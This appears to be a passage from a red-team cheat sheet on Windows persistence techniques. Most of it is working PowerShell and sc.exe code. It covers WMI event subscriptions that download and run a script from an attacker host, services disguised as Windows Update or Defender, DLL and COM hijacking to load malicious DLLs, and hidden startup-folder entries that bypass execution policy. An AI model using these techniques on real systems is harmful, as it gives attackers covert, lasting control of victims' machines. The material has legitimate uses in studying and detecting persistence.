$filterName = "SystemStartupFilter"
$filter = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance()
$filter.QueryLanguage = "WQL"
$filter.Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320"
$filter.Name = $filterName
$filter.EventNamespace = "root\cimv2"
$filterResult = $filter.Put()

# Create consumer (action to execute)
$consumerName = "SystemMaintenanceConsumer"
$consumer = ([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance()
$consumer.Name = $consumerName
$consumer.CommandLineTemplate = "powershell.exe -WindowStyle Hidden -NoProfile -Command `"IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>/payload.ps1')`""
$consumer.RunInteractively = $false
$consumerResult = $consumer.Put()

# Bind filter to consumer
$bind = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance()
$bind.Filter = $filterResult.Path
$bind.Consumer = $consumerResult.Path
$bind.Put()

# Alternative: Logon-based trigger
$filter.Query = "SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType = 2"

# Alternative consumer types
# ActiveScriptEventConsumer (VBScript/JScript)
$consumer = ([wmiclass]"\\.\root\subscription:ActiveScriptEventConsumer").CreateInstance()
$consumer.Name = "ScriptConsumer"
$consumer.ScriptingEngine = "VBScript"
$consumer.ScriptText = "CreateObject(""WScript.Shell"").Run ""powershell.exe -c <COMMAND>"", 0"
$consumer.Put()

# Enumerate existing WMI subscriptions
Get-WmiObject -Namespace root\subscription -Class __EventFilter
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding

# Remove WMI persistence (cleanup)
Get-WmiObject -Namespace root\subscription -Class __EventFilter -Filter "Name='$filterName'" | Remove-WmiObject
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer -Filter "Name='$consumerName'" | Remove-WmiObject
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%$filterName%'" | Remove-WmiObject

Service Creation
#

Install Windows service to execute payload.

:: Create service with sc.exe
sc create "WindowsUpdateService" binPath= "C:\Windows\Temp\payload.exe" start= auto DisplayName= "Windows Update Service"

:: Start service
sc start "WindowsUpdateService"

:: Configure service to restart on failure (persistence)
sc failure "WindowsUpdateService" reset= 86400 actions= restart/60000/restart/60000/restart/60000

:: Query service
sc query "WindowsUpdateService"
sc qc "WindowsUpdateService"

:: Delete service (cleanup)
sc stop "WindowsUpdateService"
sc delete "WindowsUpdateService"

PowerShell Service Creation
#

# Create service
New-Service -Name "WindowsDefenderService" -BinaryPathName "C:\Windows\System32\payload.exe" -DisplayName "Windows Defender Service" -StartupType Automatic -Description "Windows Defender real-time protection service"

# Modify existing service (if you have permissions)
Set-Service -Name "ServiceName" -StartupType Automatic
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\ServiceName" -Name "ImagePath" -Value "C:\Windows\Temp\payload.exe"

# Start service
Start-Service -Name "WindowsDefenderService"

# Verify service
Get-Service -Name "WindowsDefenderService"
Get-WmiObject Win32_Service | Where-Object {$_.Name -eq "WindowsDefenderService"}

# Remove service
Stop-Service -Name "WindowsDefenderService"
Remove-Service -Name "WindowsDefenderService"  # PowerShell 6+
# Or
sc.exe delete "WindowsDefenderService"

DLL Hijacking
#

Place malicious DLL in search path to be loaded by legitimate application.

# Find DLL search order for application
# Tools: Process Monitor (Procmon), PowerShell

# Common hijackable DLLs and locations:
# - %SYSTEMROOT%\System32\
# - Application directory
# - %PATH% directories

# Example: Hijack version.dll (commonly searched)
# 1. Identify application that loads version.dll from writable location
# 2. Create proxy DLL that loads legitimate DLL and executes payload
# 3. Place malicious DLL in application directory

# PowerShell: Find writable directories in PATH
$env:PATH -split ';' | ForEach-Object {
    if (Test-Path $_) {
        $acl = Get-Acl $_
        if ($acl.Access | Where-Object {$_.FileSystemRights -match "Write" -and $_.IdentityReference -match "Users"}) {
            Write-Host "Writable: $_"
        }
    }
}

# Find missing DLLs in running processes (opportunities for hijacking)
# Use Procmon with filter: Result is "NAME NOT FOUND" and Path ends with ".dll"

COM Hijacking
#

Modify registry to hijack CLSID, loading malicious DLL when COM object instantiated.

# Find COM objects for hijacking
# Look for CLSIDs with InprocServer32 (DLL-based COM objects)

# Example: Hijack {CLSID}
$clsid = "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"  # Example CLSID

# Copy original COM registration to HKCU (take precedence over HKLM)
Copy-Item -Path "HKLM:\Software\Classes\CLSID\$clsid" -Destination "HKCU:\Software\Classes\CLSID\$clsid" -Recurse

# Modify InprocServer32 to point to malicious DLL
Set-ItemProperty -Path "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32" -Name "(Default)" -Value "C:\Users\Public\malicious.dll"

# Verify
Get-ItemProperty -Path "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32"

# When application instantiates this COM object, malicious DLL loads

# Cleanup
Remove-Item -Path "HKCU:\Software\Classes\CLSID\$clsid" -Recurse -Force

Startup Folder
#

Place executable or shortcut in startup folder for execution at logon.

# Current user startup folder
$startupPath = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
Copy-Item -Path "C:\temp\payload.exe" -Destination "$startupPath\WindowsUpdate.exe"

# All users startup folder (requires admin)
$allUsersStartup = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
Copy-Item -Path "C:\temp\payload.exe" -Destination "$allUsersStartup\SystemMaintenance.exe"

# Create LNK shortcut (less obvious)
$WshShell = New-Object -ComObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$startupPath\OneDrive.lnk")
$Shortcut.TargetPath = "powershell.exe"
$Shortcut.Arguments = "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\temp\payload.ps1"
$Shortcut.WorkingDirectory = "C:\temp"
$Shortcut.Save()

# Verify
Get-ChildItem -Path $startupPath
Get-ChildItem -Path $allUsersStartup

# Cleanup
Remove-Item -Path "$startupPath\WindowsUpdate.exe" -Force
Remove-Item -Path "$startupPath\OneDrive.lnk" -Force